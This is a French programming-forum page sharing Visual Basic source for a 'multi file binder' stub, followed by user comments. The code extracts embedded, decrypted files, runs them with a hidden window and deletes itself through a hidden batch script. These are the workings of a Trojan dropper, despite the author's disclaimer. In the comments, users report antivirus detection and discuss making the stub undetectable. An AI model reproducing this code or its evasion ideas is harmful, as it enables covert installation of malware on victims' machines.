Multi file binder

Soyez le premier à donner votre avis sur cette source.

Vue 18 332 fois - Téléchargée 2 061 fois

Description

Yop, Bon voici la source d'un programme que j'ai codé il y a quelque temps. C'est un binder de fichiers aka joindre plusieurs fichiers en 1 executable qui les extraira a l'execution. On peut binder un nombre infini de fichiers, de n'importe quelles extensions, on peut choisir leur execution ou non (ShellExecute ouvrira le fichier avec l'application associé en cas de non exe). On peut faire en sorte que l'executable s'efface une fois le travail accompli. C'est un bonne exemple pour travailler sur le contenu d'un fichier (ouverture binaire, recuperation de parametres etc)

ATTENTION: CETTE SOURCE N EST PAS FAITES POUR UN USAGE MALICIEUX, J INSISTE, VEUILLEZ EN PRENDRE NOTE. CECI N A STRICTEMENT RIEN A VOIR AVEC UN CHEVAL DE TROIE MERCI.

Source / Exemple :


Public Sub Main()
On Error Resume Next

'Declarations
Dim StrFile           As String 'data du stub, stub data
Dim StrBuffer         As String 'Chaine de params utilisateur, user param's string
Dim z, y              As Long   'Var long, for var
Dim LngParam(1 To 2)  As Long   'Ret instr, returned instr
Dim strSplited()      As String 'Param Split "#"
'''''''''''''''''''''''''''''''
Dim StrExec           As String 'Param execution
Dim strFilePath       As String 'Param path
Dim LngFileLen        As Long   'param taille de fichier, param file size
Dim LngFileName       As String 'Param Nom du fichier, param filename
Dim LngCursor         As Long   'Pointeur de position dans StrFile, file position pointer
'''''''''''''

'A_ On récupere le code du stub
'A_ all the stub code in the string
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
    StrFile = Space(FileLen(App.Path & "\" & App.EXEName & ".exe"))
    Get #1, 1, StrFile
Close #1
'''''''''''''''''''''''''''''''

'B _ On isole les params utilisateurs
'B _ user param get
LngParam(1) = InStr(1, StrFile, "<&&>", vbBinaryCompare)
LngParam(2) = InStr(1, StrFile, "###", vbBinaryCompare)
StrBuffer = Mid(StrFile, LngParam(1) + 5, LngParam(2))
'''''''''''''''''''''''''''''''''''''
StrBuffer = Decrypt(StrBuffer)

'C _On Récupere la liste des taches
'C _Get task list (user param all)
strSplited1 = Split(StrBuffer, "###")
LngCursor = strSplited1(0)
'''''''''''''''''''''''''''''''''''

'E _Boucle de Déploiement des fichiers
'E _File deployment loop
For z = 1 To UBound(strSplited1()) - 1

    'E1 _Split des specs fichiers
    'E1 _User param get (file)
    strSplited() = Split(strSplited1(z), "|")
    '''''''''''''''''''''''''''''
    
    'E2 _Assignation des specs aux variables
    'E2 _User param variables assignment
    strFilePath = strSplited(1)
    LngFileLen = strSplited(2)
    LngFileName = strSplited(3)
    StrExec = strSplited(4)
    StrBuffer = Mid(StrFile, LngCursor + 1, LngFileLen)
    ''''''''''''''''''''''''''''''''''''''''
    
    'E3 _Ecriture du fichier
    'E3 _ File writing
    If Dir(InstallPath(strFilePath) & LngFileName) <> "" Then Kill (InstallPath(strFilePath) & LngFileName)

    
    Open InstallPath(strFilePath) & LngFileName For Binary As #1
        Put #1, LOF(1) + 1, StrBuffer
    Close #1
    ''''''''''''''''''''''''
    
    'E4 _Mise a jour du pointeur
    'E4 _Cursor update
    LngCursor = LngCursor + LngFileLen + 1
    '''''''''''''''''''''''''''
    
    'E6 _Param Execution
    If StrExec = "Yes" Then ShellExecute hwnd, "open", InstallPath(strFilePath) & LngFileName, vbNullString, vbNullString, SW_HIDE
    ''''''''''''''''''''
Next z

1 DoEvents

'G _Melt du Stub
 If strSplited1(UBound(strSplited1()) - 1) = "Yes" Then
    Open InstallPath("Temp Directory") & "Melt.bat" For Output As #1
        Print #1, "@Echo off"
        Print #1, ":Begin"
        Print #1, "Del " & App.EXEName & ".exe"
        Print #1, "If Exist " & App.Path & "\" & App.EXEName & ".exe" & " Goto Begin"
        Print #1, "Del " & InstallPath("Temp Directory") & "Melt.bat"
    Close #1
    Shell InstallPath("Temp Directory") & "Melt.bat", vbHide
End If
'''''''''''''''''
DoEvents

End Sub

Conclusion :


Le reste est dans le zip

Codes Sources

A voir également

Ajouter un commentaire

Commentaires

78zerocool
Messages postés
22
Date d'inscription
jeudi 13 janvier 2011
Statut
Membre
Dernière intervention
20 juillet 2011

Bon moi je vous le dit pourquoi c est detecter mais bon

Open App.Path & "" & App.EXEName & ".exe" For Binary As #1
StrFile = Space(FileLen(App.Path & "" & App.EXEName & ".exe"))
Get #1, 1, StrFile
Close #1

voila sa donne une generalité de rapport antiviral de TROJAN DROPPER generic ou Based Maximus ...

c est tout un art de rendre 100% Fud un exe binder ou avec une injection

perso il d autre solution avec d autre api ...
thel0rd
Messages postés
14
Date d'inscription
lundi 16 février 2004
Statut
Membre
Dernière intervention
20 janvier 2012

En fait j'ai une solution. Je pense que rajouter une form en visible devrait regler le probleme du stub detecté (non testé). Les antivirus qui continuent a voir ça comme un tool nocif serait donc des false positive :)

++
VBsearch
Messages postés
50
Date d'inscription
jeudi 21 juillet 2005
Statut
Membre
Dernière intervention
22 août 2009

Bonjour
<Si le problème est un souci de confiance> Aucunement. Tu dis ne pas pouvoir expliquer c'est plutôt ne pas vouloir l'expliquer pour des raisons de sécurités. OUI J'ai bien compris et merci pour l'explication.
Cordialement.
thel0rd
Messages postés
14
Date d'inscription
lundi 16 février 2004
Statut
Membre
Dernière intervention
20 janvier 2012

bonjour,

C'est normal. Ce code permet de "joindre" plusieurs fichiers en un seul puis de les extraires et de les exécuter.
Ca peut etre utilisé à des fins malveillantes evidemment. Donc c'est detecté.

Je ne peux pas expliquer comment enlever cette detection pour éviter de mauvaise utilisation qui pourrait nuir a des postes de travail.

Si le problème est un souci de confiance, utilisez des machines virtuelles.
VBsearch
Messages postés
50
Date d'inscription
jeudi 21 juillet 2005
Statut
Membre
Dernière intervention
22 août 2009

Bonjour

En essayant de compiler "OverStub.vbp" en "Dropper.exe", Kaspersky le détecte comme étant un cheval de Troie et par dessus le marché bloque la compilation même si on choisit l'option Ignorer. Faut-il alors désactiver l'antivirus au moment de la compilation? Mais après l'activation de l'antivirus, celui-ci le détectera quand-même!!!!!!!!!!!
Y a-t-il une solution à cela?

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.